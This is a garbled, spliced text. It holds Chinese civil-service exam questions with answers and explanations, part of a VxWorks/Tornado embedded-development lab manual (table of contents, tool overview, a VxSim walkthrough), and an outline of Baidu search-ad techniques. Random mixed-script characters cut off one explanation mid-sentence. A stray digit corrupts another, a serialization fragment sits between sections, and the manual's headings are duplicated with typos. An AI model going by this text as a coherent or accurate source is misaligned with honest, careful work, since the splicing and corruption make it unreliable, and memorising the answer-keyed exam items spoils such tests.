@#@发文机关标志处于公文版头的位置;@#@标题和主送机关处于公文主体的位置;@#@抄送机关属于公文版记的部分。
@#@故本题选A。
@#@@#@ 24、下列可以缓解城市内涝的措施是()。
@#@@#@ A、将水泥路面改为柏油路面@#@ B、铺设人行道路时使用透水砖@#@ C、兴建人行天桥@#@ D、拓宽城市道路@#@ 【答案】B@#@ 【解析】A项错误,水泥路面和柏油路面的透水性均不强,故即使将水泥路面改为柏油路面,路面仍然有积水,不能缓解城市内涝。
@#@B项正确,铺设人行道时使用透水砖,下雨时雨水可以渗透到土壤里,可以缓解城市内涝。
@#@C项错误,兴建人行天桥雨水照样流到路面上,而不能渗入地下,故不能缓解城市内涝。
@#@D项错误,拓宽城市道路,周围绿化带减少,聚集在道路上雨水增多,不但不能缓解城市内涝,还会가ከᏩ☵ڌ☵ڌ䃠ණ왈ඓ䃠@#@ 25、公文按照行为方向和行文关系可以分成上行文、平行文和下行文。
@#@下列公文可作为平行文的有()。
@#@@#@ A、报告@#@ B、函@#@ C、批复@#@ D、知照性通知@#@ 【答案】BD@#@ 【解析】平行文,是指向同级机关以及向非同一组织系统或专业系统中不相隶属的任何级别的机关行文。
@#@如:
@#@函。
@#@知照性通知用于一些不需要直接执行或办理的事项。
@#@如节假日安排、人事任免、机构设置或调整、印章启用或更换以及召开会议等,主要起交流情况、传递信息的作用,发送对象较广泛,对下级、平级机关均可发送。
@#@@#@ BD当选。
@#@A是上行文,C是下行文。
@#@故本题答案为BD。
@#@@#@ 26、从公文行文关系的划分来看,下列行政公文中不能作为平行文的是()。
@#@@#@ A、通知@#@ B、公告@#@ C、通报@#@ D、纪要@#@ 【答案】B@#@ 【解析】本题考查公文。
@#@平行文:
@#@指平行机关或不相隶属的机关之间的发文,主要是函,也包括一些通知,纪要、函。
@#@下行文:
@#@指上级机关对所属下级机关的发文,如命令、指令、意见,决定、决议、布告、公告、通告、通知、通报、批复等。
@#@本题中公告属于下行文,不能用作平行文,故本题选择B选项。
@#@@#@ 27、下列诗句与其描写的传统节日对应不正确的是()。
@#@@#@ A、总把新桃换旧符——清明节@#@ B、遍插茱萸少一人——重阳节@#@ C、蓦然回首,那人却在灯火阑珊处——元宵节@#@ D、两情若是久长时,又岂在朝朝暮暮——七夕节@#@ 【答案】A@#@ 【解析】A项出自王安石的《元日》,对应的是春节。
@#@B项出自王维的《九月九日忆山东兄弟》,重阳节有登高,插茱萸的习俗。
@#@C项出自辛弃疾的《青玉案•元夕》,描写的是元宵节。
@#@D项出自秦观的《鹊桥仙•纤云弄巧》,写的是七夕节。
@#@因此A项错误。
@#@@#@ 28、生态系统是由生物群落及其生存环境共同组成的()。
@#@@#@ A、静态平衡系统@#@ B、动态平衡系统@#@ C、平衡态平衡系统@#@ D、固态平衡系统@#@ 【答案】B@#@ 【解析】生态系统是指在一定的空间内生物成分和非生物成分通过物质循环和能量流动相互作用、相互依存而构成的一个生态学功能单位,即由生物群落和它的无机环境相互作用而形成的动态平衡系统。
@#@故选B。
@#@@#@ 29、荀子曰:
@#@@#@ “天有常道矣,地有常数矣。
@#@”下列选项中反映出相同哲理的是()。
@#@@#@ A、李杜诗篇万口传,至今已觉不新鲜@#@ B、夕阳无限好,只是近黄昏@#@ C、历尽天华成此景,人间万事出艰辛@#@ D、凡物各自有根本,种禾终不生豆苗@#@ 【答案】D@#@ 【解析】@#@ “天有常道矣,地有常数矣”反映了物质世界的发展有其自身的客观规律,不以人的意志为转移,即规律的客观性原理。
@#@D项说的是事物的生长有其自然规律,种谷子是不可能长成豆苗的,与题干体现的哲理相同。
@#@A项体现的是发展的观点。
@#@B项体现的是事物都有一个产生、发展、变化的过程。
@#@C项体现的是发展是前进性与曲折性的统一。
@#@@#@ 30、向下级机关的重要行文,应抄送()。
@#@@#@ A、直接上级机关@#@ B、其他下级机关@#@ C、同级机关@#@ D、业务主管机关@#@ 【答案】A@#@ 【解析】向下级机关的重要行文,应当同时抄送直接上级机关。
@#@故选A。
@#@@#@ 31、山脉的延伸方向被称为走向。
@#@下列山脉中,走向与其他三项不同的是()。
@#@@#@ A、长白山@#@ B、六盘山@#@ C、横断山脉@#@ D、贺兰山脉@#@ 【答案】A@#@ 【解析】@#@ B、C、D三项的山脉走向相同,均为南北走向。
@#@而A项的长白山为东北─西南走向的山脉,与其他三项不同。
@#@@#@ 32、黄淮海平原的气候特征是()。
@#@@#@ A、降水集中且变率大@#@ B、气温年较差小@#@ C、秋旱多风沙@#@ D、夏季炎热干燥@#@ 【答案】A@#@ 【解析】黄淮海平原属温带大陆性季风气候,降水集中于夏季且变率大,气温年较差大,夏季高温多雨,春旱多风沙。
@#@@#@ 33、随着科学技术的发展,人类已经制造出诸如醋酸纤维、聚苯乙烯、合成橡胶等自然界原本不存在的化合物,其数量已达数百万种。
@#@这一情况说明()。
@#@@#@ A、物质世界是人类所创造的@#@ B、人类通过实践将“自在之物”转化为“为我之物”@#@ C、物质世界依赖于人的意识而存在@#@ D、人造物质可以脱离天然物质而存在@#@ 【答案】B@#@ 【解析】人类创造出自然界本来不存在的东西,说明人类可以改造物质世界,但是这并不意味着物质世界是人类创造的,人类是在自然界已有物质基础上对自然界进行的改造,人造物质不能脱离天然物质而存在,故@#@ A、9D选项错误,另外,物质决定意识,意识具有能动的反作用,故C选项错误。
@#@故本题答案为B。
@#@@#@ 34、在文件拟稿中,如果要引用某份公文,应当()。
@#@@#@ A、仅引发文字号@#@ B、先引发文字号后引文件标题@#@ C、仅引文件标题@#@ D、先引文件标题后引文件发文字号@#@ 【答案】D@#@ 【解析】在文件拟稿中,如果要引用某份公文,应当先引标题,后引发文字号。
@#@故选D。
@#@@#@ 35、认为“人们在创造历史的活动中,谋事在人,成事在天”,这一观点是()。
@#@@#@ A、揭示了人的能动性的发挥受规律的制约的正确观点@#@ B、否认了社会规律的客观性的错误观点@#@ C、强调了客观规律下的主体具有能动性的正确观点@#@ D、否认了人的主体自觉能动性的错误观点@#@ 【答案】B@#@ 【解析】认为历史活动中“谋事在人”,就是承认社会发展过程的客观规律是通过人的自觉活动得以实现的,承认人的能动作用,这是正确的。
@#@但“成事在天”即把办成事情的原因、决定因素归结为外在于人的天意,认为历史活动的成败完全由客观必然性或某种超自然力量所决定的,这是错误的,因为它否认了人的努力在事情成败中的作用,同时也否认了社会规律的客观性,从而陷入了唯心史观和宿命论。
@#@故选B。
@#@@#@ 36、下列四组地名中,按所在经度由东向西依次排列的是()。
@#@@#@ A、上海、天津、北京、西安@#@ B、华山、普陀山、庐山、九华山@#@ C、洪泽湖、洞庭湖、鄱阳湖、滇池@#@ D、中山陵、大雁塔、龙门石窟、嘉峪关@#@ 【答案】A@#@ 【解析】A项中最东为上海,最西为西安,天津位于北京东面,排序正确。
@#@B项中位于东海的普陀山最东,位于秦岭的华山最西,江西庐山东北面是安徽的九华山,排序错误。
@#@C项云南昆明的滇池最西,江苏、山东交界处的洪泽湖最东,但湖南洞庭湖位于江西鄱阳湖之西,排序错误。
@#@D项中洛阳的龙门石窟位于西安大雁塔的东面,排序也是错误的。
@#@故选A。
@#@@#@ 37、公务员职业道德的根本价值取向是()。
@#@@#@ A、提高工作效率@#@ B、提升道德境界@#@ C、维护社会公正@#@ D、培育高尚人格@#@ 【答案】C@#@ 【解析】公务职业道德的根本价值取向是维护社会公正。
@#@故选C。
@#@@#@ 38、下列边境口岸与所在省区组合正确的是()。
@#@@#@ A、黑河——吉林省@#@ B、丹东——黑龙江省@#@ C、绥芬河——辽宁省@#@ D、满洲里——内蒙古自治区@#@ 【答案】D@#@ 【解析】黑河位于黑龙江省,丹东属辽宁省,绥芬河位于黑龙江省,满洲里在内蒙古自治区。
@#@故选D。
@#@@#@ 39、社会意识的相对独立性突出地表现在()。
@#@@#@ A、社会意识可以超前于社会存在@#@ B、社会意识对社会存在有反作用@#@ C、社会意识反映社会存在@#@ D、社会意识诸形式之间的相互影响@#@ 【答案】B@#@ 【解析】社会意识的相对独立性表现在:
@#@@#@
(1)社会意识的变化发展和社会存在的变化发展的非完全同步性;@#@@#@
(2)社会意识和社会经济之间在发展上的不平衡性;@#@@#@ (3)社会意识的发展具有历史继承性;@#@@#@ (4)社会意识诸形式间的相互影响和相互作用;@#@@#@ (5)社会意识对社会存在具有反作用,是社会意识相对独立性的突出表现。
@#@故选B。
@#@@#@ 40、把生产资本分为不变资本和可变资本的依据是()。
@#@@#@ A、在生产过程中不同的实物存在形式和价值转变方式@#@ B、在剩余价值生产中的作用不同@#@ C、在资本积累中的作用不同@#@ D、在资本流通中的周转速度不同@#@ 【答案】B@#@ 【解析】不变资本和可变资本的区分依据是根据资本在剩余价值生产中的作用不同而划分的。
@#@可变资本是指资本家用于购买劳动力的那一部分资本。
@#@劳动力在使用过程中,不仅能够创造补偿劳动力价值的价值,而且能创造出剩余价值,是资本增值。
@#@不变资本是指在剩余价值生产过程中转变为生产资料的那一部分资本,经过生产过程,它的价值会随物质形态的改变,转移到新产品中去,没有发生任何价值量的变化,价值不会增值。
@#@故选B。
@#@@#@ 41、公文的作者是指()。
@#@@#@ A、撰稿人@#@ B、审核人@#@ C、签发人@#@ D、发文机关@#@ 【答案】D@#@ 【解析】发文机关就是制发公文的机关,一般将公文的发文机关作为公文的作者。
@#@故选D。
@#@@#@ 42、下列各项属于公文主体部分的是()。
@#@@#@ A、标题@#@ B、附件说明@#@ C、公文生效标识@#@ D、主题词@#@ 【答案】ABC@#@ 【解析】主体部分包括:
@#@标题、主送机关、正文、附件说明、成文时间、公文生效标识、附注。
@#@主题词属于版记部分。
@#@@#@ 43、公文的正文逻辑结构可分三部分,()是正文的中心部分。
@#@@#@ A、分析问题@#@ B、解决问题@#@ C、提出问题@#@ D、介绍经过@#@ 【答案】A@#@ 【解析】公文的内在结构有一条基本规律,这就是:
@#@提出问题——分析问题——解决问题。
@#@三部分中分析问题是公文最重要的部分,是公文的重点。
@#@故选A。
@#@@#@ 44、公文应在()装订。
@#@@#@ A、左侧@#@ B、右侧@#@ C、上面白边区@#@ D、下面白边区@#@ 【答案】A@#@ 【解析】公文应在左侧装订。
@#@@#@ 45、今年如火如荼举办的农民丰收节上,各地农村结合自身优势,各显神通,通过多渠道、多样化的举办方式,打开农村的大门,帮助自身发展更上一层楼。
@#@各地结合自身优势,分析自身问题,解决发展问题体现了()哲学道理。
@#@@#@ A、量变产生质变@#@ B、矛盾的斗争性@#@ C、矛盾的特殊性@#@ D、矛盾的不平衡性@#@ 【答案】C@#@ 【解析】结合自身问题运用不同方式解决问题,体现了矛盾的特殊性要求的具体问题具体分析。
@#@故选C。
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"第一章WindRiver.4第一章WindRiver.41.1风河系统公司简介.41.2实时操作系统Vxworks简介.4第二章Tornado.6第二章Tornado.62.1安装开发环境.62.2Tornado集成开发环境简述.62.2.1Tomado编辑器.62.2.2工程管理.72.2.3编译.72.2.4目标机系统状走浏览器Browser.82.2.5文叉调试器Crosswind.82.2.6C语言命令shell工具WindSh.92.2.7VxWorks仿真器VxSim.92.2.8目标机软件逻辑分析WindView.92.2.9用户定制功能.102.3一个基于VxSim的简单工程.102.3.1开始tornado.102.3.2创建工程.112.3.3向工程加例子源代码.132.3.4编译工程.152.3.5下载工程到vxworks目标模拟器.172.3.6从TornadoShell运行应用程序.202.3.7查看目标内存使用情况.212.3.8查看任务.222.3.9修改任务的优先级和查找错误.24第三章基本工程实践.26第三章基本工程实践.263.1Bootable工程实践.263.2Downloadable工程实践.30第四章驱动实验.35第四章驱动实验.35WindML3.0.3开发.354.1、WindML简介.354.2、安装和配置.394.3、WindML体系.394.4、WindML开发流程简介.404.5、UPTECH2410的LCD开发流程详解.414.5.1WindML的BSP修改.414.5.2LCD配置文件的建立.444.5.3LCD驱动程序开发.514.6、WindML例程分析.574.6.1wexbasic实例分析.574.6.2ugldemo实例分析.674.7、2410LCDWindML软件使用方法.70第五章应用实验.71第五章应用实验.715.1串口.715.1.1串口概述.715.1.2串口操作.715.1.2.1open.725.1.2.2close.725.1.2.3read.735.1.2.4write.735.1.2.5ioctl.735.1.3实验.745.1.3.1使用wirte函数对串口进行写操作.745.1.3.2使用read函数对串口进行读操作.775.1.3.3使用ioctl函数对串口进行控制.785.2基于块设备的文件系统.805.2.1VxWorks支持的文件系统.805.2.2文件系统的配置.815.2.3ramDrv.825.3网络通信.875.3.1概述.875.3.2VxWorks套接字.885.3.3Socket函数.885.3.3.1socket.885.3.3.2bind.895.3.3.3listen.915.3.3.4accept.915.3.3.5connect.925.3.3.6send和recv.925.3.3.7sendto和recvfrom.945.3.4实验.955.3.4.1Ping.955.3.4.2流套接字(基于TCP).995.3.4.3数据报套接字(基于UDP).1025.3.4.4FTP.1045.3.4.5以太网包的截取与解析.1115.4多任务环境.1155.4.1任务.1155.4.1.1概述.1155.4.1.2任务函数库.1165.4.2任务间的通信机制.1165.4.2.1信号量.1165.4.2.2消息队列.1205.4.2.3管道.1225.4.2.4信号.1225.4.4实验.1245.4.4.1创建任务,利用WindView观察任务调度.1245.4.4.2利用二进制信号量同步任务.1265.4.4.3利用计数器信号量同步任务.1305.4.4.4利用互斥信号量保护共享资源.1355.4.4.5利用消息队列进行任务间通信.1415.4.4.6利用管道进行任务间通信.1465.4.4.8信号的使用.1475.5中断.1515.5.1硬件中断.1515.5.2看门狗定时器(Watchdog).1535.5.3实验.1545.5.3.1硬件中断.1545.5.3.2看门狗定时器的使用.158附录.161附录.1611建立超级终端.1612目标机服务器TargetServer.1623.FTP服务器.1634WindSH.1654.1启动和关闭WindSh.1654.1.1.启动WindSh.1654.1.2.中断WindSh命令.1664.1.3.关闭WindSh.1664.2WindSh的使用.1664.2.1任务管理命令.1664.2.2任务信息命令.1664.2.3系统命令.1674.2.4网络状态显示.1674.3运行目标机程序.1674.3.1VxWorks系统函数的调用.168第一章WindRiver第一章WindRiver1.1风河系统公司简介风河系统公司简介风河系统公司(WindRiver)是全球领先的嵌入式软件与服务商,也是业界唯一提供面向行业市场的嵌入式软件平台的厂商。
@#@它所提供的嵌入式软件平台包括集成化的实时操作系统、开发工具和技术。
@#@风河的产品和专业服务已经在许多市场领域得到认可,主要包括空间技术及国防、汽车、消费电子、工业制品和网络基础设施领域。
@#@世界各地的电子设备制造商普遍把风河公司的嵌入式软件产品作为行业标准。
@#@包括NASA的“勇气号”火星探测器在内的航空航天设备也采用风河嵌入式软件。
@#@1.2实时操作系统实时操作系统Vxworks简介简介VxWorksVxWorks操作系统是美国WindRiver公司于1983年设计开发的一种嵌入式实时操作系统(RTOS),是嵌入式开发环境的关键组成部分。
@#@良好的持续发展能力、高性能的内核以及友好的用户开发环境,在嵌入式实时操作系统领域占据一席之地。
@#@它以其良好的可靠性和卓越的实时性被广泛地应用在通信、军事、航空、航天等高精尖技术及实时性要求极高的领域中,如卫星通讯、军事演习、弹道制导、飞机导航等。
@#@VxWorksVxWorks操作系统是实时多任务操作系统.实时多任务操作系统能在确定的时间内执行其功能,并对外部的异步事件作出响应的计算机系统。
@#@多任务环境允许一个实时应用作为一系列独立任务来运行,各任务有各自的线程和系统资源。
@#@VxWorks系统提供多处理器间和任务间高效的信号灯、消息队列、管道、网络透明的套接字。
@#@实时系统的另一关键特性是硬件中断处理。
@#@为了获得最快速可靠的中断响应,VxWorks系统的中断服务程序ISR有自己的上下文。
@#@VxWorks实时操作系统由400多个相对独立的、短小精炼的目标模块组成,用户可根据需要选择适当模块来裁剪和配置系统,这有效地保证了系统的安全性和可靠性。
@#@系统的链接器可按应用的需要自动链接一些目标模块。
@#@这样,通过目标模块之间的按需组合,可得到许多满足功能需求的应用。
@#@VxWorks操作系统的基本构成模块包括以下部分:
@#@?
@#@高效的实时内核WindVxWOrks实时内核(Wind)主要包括基于优先级的任务调度、任务同步和通信、中断处理、定时器和内存管理。
@#@?
@#@兼容实时系统标准POSIXVxWOrks提供接口来支持实时系统标准P.1003.1b.?
@#@I/O系统VxWOrks提供快速灵活的与ANSI-C相兼容的I/O系统,包括UNIX的缓冲I/O和实时系统标准POSIX的异步I/O。
@#@VxWOrks包括以下驱动:
@#@网络-网络设备(以太网、共享内存)管道-任务间通信RAM-驻留内存文件SCSI-SCSI硬盘,磁碟,磁带键盘-PCx86键盘(BSP仅支持x86)显示器-PCx86显示器(BSP仅支持x86)磁碟-IDE和软盘(BSP仅支持x86)并口-PC格式的目标硬件?
@#@本机文件系统?
@#@I/O系统VxWorks的文件系统与MS-DOS、RT-11、RAM、SCSI等相兼容。
@#@?
@#@网络特性VxWorks网络能与许多运行其它协议的网络进行通信,如TCP/IP、4.3BSD、NFS、UDP、SNMP、FTP等。
@#@VxWorks可通过网络允许任务存取文件到其它系统中,并对任务进行远程调用。
@#@?
@#@虚拟内存(可选单元VxVMI)VxVMI主要用于对指定内存区的保护,如内存块只读等,加强了系统的健壮性。
@#@?
@#@共享内存(可选单元VxMP)VxMP主要用于多处理器上运行的任务之间的共享信号量、消息队列、内存块的管理。
@#@?
@#@驻留目标工具Tornado集成环境中,开发工具工作于主机侧。
@#@驻留目标外壳、模块加载和卸载、符号表都可进行配置。
@#@?
@#@Wind基类VxWorks系统提供对C+的支持,并构造了系统基类函数。
@#@?
@#@工具库VxWorks系统向用户提供丰富的系统调用,包括中断处理、定时器、消息注册、内存分配、字符串转换、线性和环形缓冲区管理,以及标准ANSI-C程序库。
@#@?
@#@性能优化VxWorks系统通过运行定时器来记录任务对CPU的利用率,从而进行有效地调整,合理安排任务的运行,给定适宜的任务属性。
@#@?
@#@目标代理目标代理可使用户远程调试应用程序。
@#@?
@#@板级支持包板级支持包提供硬件的初始化、中断建立、定时器、内存映象等。
@#@?
@#@VxWorks仿真器(VxSim)可选产品VxWorks仿真器,能模拟VxWorks目标机的运行,用于应用系统的分析。
@#@第二章Tornado第二章TornadoTornado2.2是嵌入式实时领域里最新一代的开发调试环境。
@#@Tornado给嵌入式系统开发人员提供了一个不受目标机资源限制的超级开发和调试环境。
@#@Tornado包含三个高度集成的部分:
@#@运行在宿主机和目标机上的强有力的交叉开发工具和实用程序;@#@运行在目标机上的高性能、可裁剪的实时操作系统VxWorks;@#@连接宿主机和目标机的多种通讯方式,如:
@#@以太网,串口线,ICE或ROM仿真器等。
@#@在集成开发环境方面,VxWorksTornadoII型提供了二次开发途径。
@#@集成开发环境是一种更直观的自动化环境,使得不同使用经验的开发人员可以快速、方便地在VxWorks上面开发应用2.1安装开发环境安装开发环境2.2Tornado集成开发环境简述集成开发环境简述Tornado集成开发环境使用户创建和管理工程、建立和管理宿主机与目标机之间的通信以及运行、调试和监控Vxworks应用变得非常方便。
@#@Tornado集成开发环境具有如下的主要特点:
@#@?
@#@集成源码级编辑器;@#@?
@#@工程管理工具;@#@?
@#@包含C和C+编译及make工具;@#@?
@#@包含目标机系统状态浏览器Browser;@#@?
@#@包含图形化源码级交叉调试器CrossWmd;@#@?
@#@包含C语言命令shell工具WindSh;@#@?
@#@包含VxWorks仿真器Vxsim;@#@?
@#@包含目标机软件逻辑分析仪WmdView;@#@?
@#@具有用户定制功能,包括编辑器和配置工具的定制,Tornado本身图形用户界面的定制。
@#@2.2.1Tomado编辑器2.2.1Tomado编辑器Tornado源码级编辑器具有以下特点:
@#@?
@#@标准的文档处理功能;@#@?
@#@C和C+语法关键字的突出显示;@#@?
@#@调试程序时追踪代码执行;@#@?
@#@编译连接程序时错误及警告信息显示。
@#@?
@#@2.2.2工程管理2.2.2工程管理Tornado工程管理工具使得组织、配置、构造VxWorks应用变得简单化。
@#@这些处理过程是以图形化方式来完成,如图2.1所示的组织、配置及构造应用工程。
@#@构造VxWorks包括配置编译、连接选项等操作通过选择图2.2所示对话框来实现。
@#@2.2.3编译2.2.3编译Tornado包含GNU编译器以及一系列完整的开发工具,具体如下:
@#@?
@#@cpp,C预处理程序;@#@?
@#@gcc,C和C+编译器;@#@?
@#@make,构造程序自动操作工具:
@#@?
@#@ld,目标代码连接器;@#@?
@#@有效的二进制文件;@#@这些工具都是自由软件,来源于自由软件组织(FreeSoftwareFoundation.FSF)。
@#@WindRiver公司经过测试和验证把它们集成到Tornado开发环境中,在这里不作详细介绍,更多的信息请阅读Tornadousersguide、GNUToolKitUsersGuide和GNUMake等书籍。
@#@图2.1组织、配置及构造应用程序图2.2编译、连接选项配置2.2.4目标机系统状走浏览器Browser2.2.4目标机系统状走浏览器BrowserBrowser是Tornado命令解释器WindSh的图形化工具。
@#@与命令解释器一样,它可以在需要的时候显示目标机信息。
@#@Browser的主窗口显示目标系统的整个状态,它允许用户请求显示个别的目标机操作系统对象的状态,例如任务、信号量、消息队列、内存块和看门狗定时器。
@#@这些显示会根据用户命令更新或者按照开发者的设定周期性地更新。
@#@2.2.5文叉调试器Crosswind2.2.5文叉调试器Crosswind源码级调试器CrossWind提供所有调试功能的图形化和命令行的接口。
@#@功能包括符号反汇编、任务或系统断点、单步、系统状态显示和异常处理。
@#@CrossWind是GNU源码级调试器(GDB)的一个扩充版本。
@#@最明显的对GDB的扩充就是图形接口。
@#@另外CrossWind提供了许多Tcl脚本接口,允许开发者创建熟悉的调试器宏或者为自己的需求扩充CrossWind。
@#@为了最大的灵活性,CrossWind的命令接口集成了GDB的命令行接口和WindSh(Tornado命令解释器)的功能。
@#@在宿主机上使用Crosswind,可以创建、运行和调试目标机运行系统中的任务。
@#@Crosswind也可以捕获己经由应用程序、Tornado命令解释器或者目标机驻留的命令解释器创建、运行的任务。
@#@Crosswind支持应用程序断点和系统断点。
@#@开发者可以使用它在c和C+源语言级、汇编语言级或混合模式下调试应用程序代码。
@#@Crosswind除了可以与Tornado目标机代理通信,也可以与为基于目标机的工具配置过的目标机直接通信。
@#@2.2.6C语言命令shell工具WindSh2.2.6C语言命令shell工具WindShTornado统一的命令解释器接口windSh允许用户与目标机的组件相互作用。
@#@不同于其他的shell”工具,Tornado命令解释器提供了一个简单、强大的功能:
@#@它能解释和执行几乎所有的C语言表达式,包括函数的调用和名字在系统符号表中的变量引用。
@#@被解释的C声明提供了到目标环境的易于使用的接口和有用的调试性能。
@#@可以引发装载到内存中的任何子例程,包括VxWorks系统和应用模块,这样可以加快代码生成和增量代码开发。
@#@通过动态函数的执行实现的动态测试可以加快开发。
@#@命令解释器的符号调试使下面的操作更简易:
@#@?
@#@任务断点;@#@?
@#@任务单步;@#@?
@#@符号反汇编;@#@?
@#@符号产生和变量观察;@#@?
@#@内存观察和修改;@#@?
@#@异常陷入;@#@?
@#@任务跟踪;@#@?
@#@堆栈检查。
@#@通过在命令解释器创建运行任务、删除任务、挂起和唤醒任务可以实现性能分析和调试,报告系统信息和任务信息。
@#@2.2.7VxWorks仿真器VxSim2.2.7VxWorks仿真器VxSimVxSim是一个全面的VxWorks原型仿真器。
@#@提供与真实目标机一致的调试和仿真运行环境。
@#@支持CrossWind、WindView,Browser等工具。
@#@VxSim作为Tornado核心工具包含在软件包中,因而允许开发者可以在没有BSP,操作系统配置、目标机硬件的情况下,基于vxSim迅速开始软件开发工作,缩短开发时间,提高开发效率。
@#@2.2.8目标机软件逻辑分析WindView2.2.8目标机软件逻辑分析WindViewWindView是一个图形化的可视诊断和分析用户目标机系统的工具,使用户非常容易地观察任务、中断程序之间的相互作用,它是在嵌入式系统应用开发期间,前所未有的可视工具。
@#@WindView主要是向开发者提供目标机硬件上应用程序实际运行的详细情况。
@#@这种系统级的诊断分析工具可以与VxSim一起使用。
@#@通常嵌入式系统开发者经常因为无法知道系统级的执行情况和软件的时间特性而感到失望,而这种全功能版本的WindMew提供了VxWorks应用程序的详细动态行为,图形化显示了任务、中断和系统对象相互作用的复杂关系。
@#@2.2.9用户定制功能2.2.9用户定制功能Tornado集成开发环境是一个开放的环境,它使用户可以根据自己的需要对Tornado进行定制。
@#@这种定制主要包括三个方面:
@#@
(1)Tornado工具选项设置;@#@
(2)定制Tornadotools菜单;@#@(3)通过TCL语言定制Tornado环境2.3一个基于一个基于VxSim的简单工程的简单工程2.3.1开始tornado2.3.1开始tornado选择开始程序Tornado2.2,然后点击tornado图标,启动Tornado以后,是Tornado的主窗口,是带有创建工程的默认窗口。
@#@如图2.3图2.3创建工程2.3.2创建工程2.3.2创建工程选择图2.3中的creatdownloadableapplicationmodulesforVxWorks,点击ok,创建可下载工程,如图2.4,按照向导的提示做如下修改:
@#@?
@#@工程名是gizmo?
@#@工程目录是c:
@#@projectsgizmo.?
@#@工程描述是lightninggizmo?
@#@工程路径和文件名是c:
@#@projectslightning.wsp图2.4点击如图2.4中的next进入下一步向导如图2.5,为工程选择工具链,从下拉列表中选择SIMNTgnu,点击next进入确认选择界面图2.6,点击finish出现工作空间窗口如图2.7图2.5图2.6图2.72.3.3向工程加例子源代码2.3.3向工程加例子源代码例子的程序是cobble.c,这是一个简单的多任务应用程序,模拟采集系统数据,数据来源于外部设备,cobble.c的四个任务如下:
@#@tCosmostCosmos,模拟中断服务程序(ISR)产生新的数据。
@#@tSchleptSchlep,采集数据。
@#@tCrunchtCrunch,计算数据获得结果值。
@#@tMonitortMonitor,监控结果,如果超出安全值打印警告信息。
@#@Cobble程序包括progStart()和progStop(),用来开始和停止程序。
@#@把例子源码复制到你建工程的目录,例子源码在安装目录targetsrcdemostart,复制完例子程序以后将其加入到工程中,添加方法:
@#@如图2.8,在工作空间的file窗口中选择gizmofiles点击右键选择Addfiles,将文件添加到工程以后如图2.9图2.8图2.92.3.4编译工程2.3.4编译工程为了查看在编译工程时的默认设置,在工作空间选择build标签如图3.0,然后双击SIMNTgnu出现编译属性菜单如图3.1,可以查看makefile规则和宏,编译器,汇编器和连接器选项。
@#@图3.0图3.1在C/C+编译器选项可以看到默认包括调试信息,这可以确保工程在编译的时候优化选项是关闭的。
@#@点击cancel关闭属性窗口。
@#@从上下文菜单选择Buildgizmo.out编译工程,如图3.2。
@#@这样编译所有工程模块,编译好的模块可以下载到目标板运行。
@#@Tornado在编译工程之前,依赖关系对话诓会警告cobble.c的makefile没有形成依赖,如图3.2.点击ok继续。
@#@Tornado会计算makefile的依赖关系并编译这个工程,如果发现外部的依赖关系就会自动包含在工程中并且在工作空间的文件查看窗口的ExternalDependencies文件夹列出如图3.3,同时在编译输出窗口会显示错误和警告,在这个工程中没有出现错误和警告如图3.4,关闭编译输出窗口。
@#@图3.2图3.2图3.3图3.42.3.5下载工程到vxworks目标模拟器2.3.5下载工程到vxworks目标模拟器从工作空间的文件查看窗口下载工程如图3.5开始模拟器。
@#@Tornado会提示开始模拟器如图3.6,点击ok继续会出现VxSim对话框如图3.7.使用默认的设置点击ok出现目标模拟器窗口如图3.8。
@#@Tornado会提示开始一个TargetServer,点击ok继续。
@#@若要关闭模拟器点击模拟器的窗口。
@#@图3.5图3.6图3.7图3.8Targetserver管理着Tornado主机工具(例如debugger)和目标机的通信,习惯上目标服务器的名子是targetNamehostName。
@#@这里目标名是vxsin(模拟器默认),pc机的名字是lf。
@#@目标服务器的名字显示在Tornado开始工具条如图3.9,这个工具条包括browser,shell和debugger.从目标服务器开始以后这些按钮就可以使用了。
@#@带有的i是shell命令,令一个i是用来查看目标信息。
@#@图3.92.3.6从TornadoShell运行应用程序2.3.6从TornadoShell运行应用程序运行应用程序之前配置Tornadodebugger可以使debugger对程序的异常自动作出反映。
@#@Tornadodebugger(CrossWind)提供两种调试接口:
@#@图形接口和命令行接口。
@#@常用的调试手段如设置断点和控制程序异常等用图形接口实现方便。
@#@如果要配置debugger,从主Tornado窗口选择ToolsOptionsDebugger,当Options对话框出现时在Autoattachtotasks下选择Always,如图3.10,这样当异常发生时,debugger将会自动连接任务。
@#@点击ok继续,更多的信息参考TornadoUsersGuide:
@#@Debugger。
@#@图3.10点击debugger按钮开始debugger。
@#@在主Tornado窗口的下面的状态行显示debugger正在运行如图3.11.图3.11Tornadoshell(也叫WindSh)是c语言的命令解释程序,用它可以在shell命令行调用任何下载到目标板上的程序。
@#@Shell含有一套自己的命令用于管理任务、访问系统信息、调试等等。
@#@用shell命令行运行程序前要点击shell按钮,当shell窗口打开以后在命令行键入主程序的名字progStart运行程序。
@#@如图3.12.图3.122.3.7查看目标内存使用情况2.3.7查看目标内存使用情况Tornadobrowser用来查看系统目标,它提供显示设备来监控目标系统的状态如内存分配等。
@#@点击browser按钮开始browser,当browser出现的时候,从下拉列表选择MemoryUsage并且点击定时刷新按钮如图3.13,这样就会几秒钟更新一次显示,查看bobble.c的内存使用变化情况。
@#@用标题栏的窗口控制browser的关闭。
@#@图3.132.3.8查看任务2.3.8查看任务WindView是一个用于实时应用程序的Tornado逻辑分析器,它可";i:
14;s:
28218:
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@#@2012账户管理及操作思路1、百度竞价调价原理及技巧百度竞价调价原理及技巧2、质量度质量度?
@#@账户架构账户架构?
@#@关键词关键词?
@#@创意创意?
@#@(详解)(详解)3、百度百度SEM标准参考规范之搜索营销步骤标准参考规范之搜索营销步骤4、我的竞价管理观我的竞价管理观5、百度专业版非官方投放指南、百度专业版非官方投放指南6、关于百度最新短语匹配的批量修改技巧、关于百度最新短语匹配的批量修改技巧(实用实用)创意撰写技巧1、百度推广创意撰写通用技巧百度推广创意撰写通用技巧2、百度竞价推广创意撰写全攻略百度竞价推广创意撰写全攻略3、百度竞价创意写法要点百度竞价创意写法要点4、百度创意撰写的标准百度创意撰写的标准5、百度通配符百度通配符质量度优化1、提升百度账户质量度技巧汇总提升百度账户质量度技巧汇总2、最新提升百度竞价关键词质量度方法汇总最新提升百度竞价关键词质量度方法汇总3、百度竞价中核心关键词的质量度优化策略百度竞价中核心关键词的质量度优化策略4、影响百度竞价关键词质量度的因素全汇总影响百度竞价关键词质量度的因素全汇总5、2011年最新百度推广质量度相关问题年最新百度推广质量度相关问题账户优化及投放技巧1、针对关键词点击率过低的调整针对关键词点击率过低的调整2、优化工作细节分享优化工作细节分享3、百度账户建立与优化流程百度账户建立与优化流程4、谈谈百度竞价排名投放技巧谈谈百度竞价排